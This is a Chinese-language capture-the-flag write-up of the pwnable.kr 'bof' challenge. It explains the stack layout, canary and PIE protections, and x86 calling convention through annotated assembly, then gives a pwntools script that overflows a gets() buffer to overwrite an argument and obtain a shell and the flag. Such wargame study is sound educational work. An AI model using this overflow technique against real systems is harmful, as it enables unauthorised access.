Two Pwns a Week Challenge(2) - bof
# bof
**先備知識**
- endianness
**知識點**
- basic assembly
- canary protection
- x86 calling convention
**writeup**
```
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
```
先把bof下載下來跑一下試試
```shell
$ ./bof
overflow me :
thththt
Nah..
```
再看`bof.c`
***bof.c***
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
```
既然這題叫bof,而且有用`gets()`這種容易overflow的函式,第一個直覺就是要把`overflowme` overflow掉
去蓋掉`func`的return address,蓋成`system("/bin/sh")`那行
大概就可以了
於是先檢查下保護
```shell
$ checksec bof
[*] 'bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
```
看到Canary跟PIE就知道上面的做法大概是沒指望了
<details>
<summary style="color: blue">關於Canary</summary>
<p>
Canary保護是指在function開啟的stack前面加入一小塊區域>Canary保護是指在function開啟的stack前面加入一小塊區域 <br />
在離開function <i>(return)</i> 之前會自動檢查canary區塊,看看值是否有變動 <br />
沒有才能正常離開,若發現變動則會強行終止程式 <br />
後面會再詳細介紹
</p>
</details>
<details>
<summary style="color: blue">關於PIE</summary>
<p>
程式地址隨機化<br />
這會造成我們沒辦法跳去特定地址,因為每次執行時地址都會不一樣
</p>
</details>
<br />
讓我們再看一下`func()`
***func()***
```c
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
```
既然蓋rutern address不可行的話
那我們就試著蓋`key`,把`key`蓋成`0xcafebabe`試試
但是這裡的`key`不是區域變數這種本來就在stack裡面的東西
而是做為`func()`的參數
要知道能不能蓋住和怎麼蓋住`key`,我們需要知道關於calling convention的一些東西
首先我們要確定這個程式是32-bit還是64-bit?
```shell
$ file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped
```
這是個32-bit的程式
所以他這裡使用的應該是c的x86 calling convention
*note: calling convention 既然是 convention 就代表其實也沒有一定*
*只是大部分的compiler都是這樣做*
在x86 calling convention中
參數從右往左會被推進stack來傳遞
也就是說
進入有兩個參數的function之後
stack會長的像這樣
*如果覺得奇怪的話,別忘記,電腦裡的stack是從上往下長的*
![Imgur](https://i.imgur.com/vClpihd.jpg?1)
知道x86的calling convention之後
我們可以準備來把`key` overflow掉了
為了算要放多少垃圾來蓋過stack的其餘部分
我們需要看`func()`的assembly code
分成了不同區塊的 ***func()*** asm
```asm
;function開頭
0x5655562c <+0>: push ebp
0x5655562d <+1>: mov ebp,esp
0x5655562f <+3>: sub esp,0x48
;canary開頭
0x56555632 <+6>: mov eax,gs:0x14
0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x5655563b <+15>: xor eax,eax
;puts的部份(雖然c裡面是寫printf啦)
0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c
0x56555644 <+24>: call 0xf7e45ca0 <_IO_puts>
;gets部分,重點
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0xf7e45410 <_IO_gets>
;比較key跟0xcafebabe
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <+47>: jne 0x5655566b <func+63>
;key == 0xcafebabe
0x5655565d <+49>: mov DWORD PTR [esp],0x5655579b
0x56555664 <+56>: call 0xf7e1b2e0 <__libc_system>
0x56555669 <+61>: jmp 0x56555677 <func+75>
;key != 0xcafebabe
0x5655566b <+63>: mov DWORD PTR [esp],0x565557a3
0x56555672 <+70>: call 0xf7e45ca0 <_IO_puts>
;canary結尾
0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655567a <+78>: xor eax,DWORD PTR gs:0x14
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0xf7ee79f0 <__stack_chk_fail>
;function結尾
0x56555688 <+92>: leave
0x56555689 <+93>: ret
```
接下來分析stack的情況
(圖案大小就算了,以數字為準)
首先進入函式之前,根據上面介紹的convention
stack應該長這樣
![Imgur](https://i.imgur.com/ZvfjrOJ.jpg?1)
然後 function開頭 區塊結束後
![Imgur](https://i.imgur.com/2bQpZ4e.jpg?1)
Canary的部分
`mov eax,gs:0x14`就是把`gs:0x14`的值放到`eax`裡面來,大該可以猜就是Canary的值
`mov DWORD PTR [ebp-0xc],eax`可以理解成`*(ebp-0xc) = eax`
只是這裡有指定大小是 DWORD = 2 words = 4 bytes
這裡是把eax的值(canary)放到stack上了,在`ebp-0xc`的地方
`xor eax,eax`把eax清空,為了不影響接下來的操作
所以操作完就變成這樣
![Imgur](https://i.imgur.com/SZCEVMx.jpg)
puts區塊結束後(因為沒有新語法就不細講了)
大該可以猜到這個`0x5655578c`是`puts`的參數
![Imgur](https://i.imgur.com/DH6Yguw.jpg)
再來是gets的部分
`lea eax,[ebp-0x2c]`就是把後面那個地址(`ebp-0x2c`)放到`eax`裡面
這句話跟下面兩句是一樣的
```asm
mov eax, ebp
sub eax, 0x2c
```
所以到`call 0xf7e45410 <_IO_gets>`之前的stack是長這樣
![Imgur](https://i.imgur.com/j3qyYHg.jpg)
再根據calling convention,我們就知道gets開始填的地方是ebp-0x2c
(因為他在stack頂端)
那我們就可以開始算了
首先,要多少垃圾才能到達key的位置?
先0x2c = 44 bytes到ebp,加4 bytes到return address,再加4 bytes就到key了
所以總共52 bytes的垃圾
然後把key改成0xcafebabe就結了
根據這個想法開始寫python
***pwn.py***
```python3
from pwn import *
p = remote("pwnable.kr", 9000)
trash = b'a'*52
target = b'\xbe\xba\xfe\xca'
payload = trash + target
p.sendline(payload)
p.interactive()
```
對了
這裡可以注意到我沒有等overflow me : 出來
因為我發現remote那邊有點奇怪
你必須要先輸入才行
寫完了就給他跑起來
```shell
$ python3 bof.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
log2
super.pl
$ cat flag
daddy, I just pwned a buFFer :)
```
拿到flag,submit,開心
這篇有夠長,豆頁痛
2021-01-18 23:13:41
留言
Last fetch: --:--
現在還沒有留言!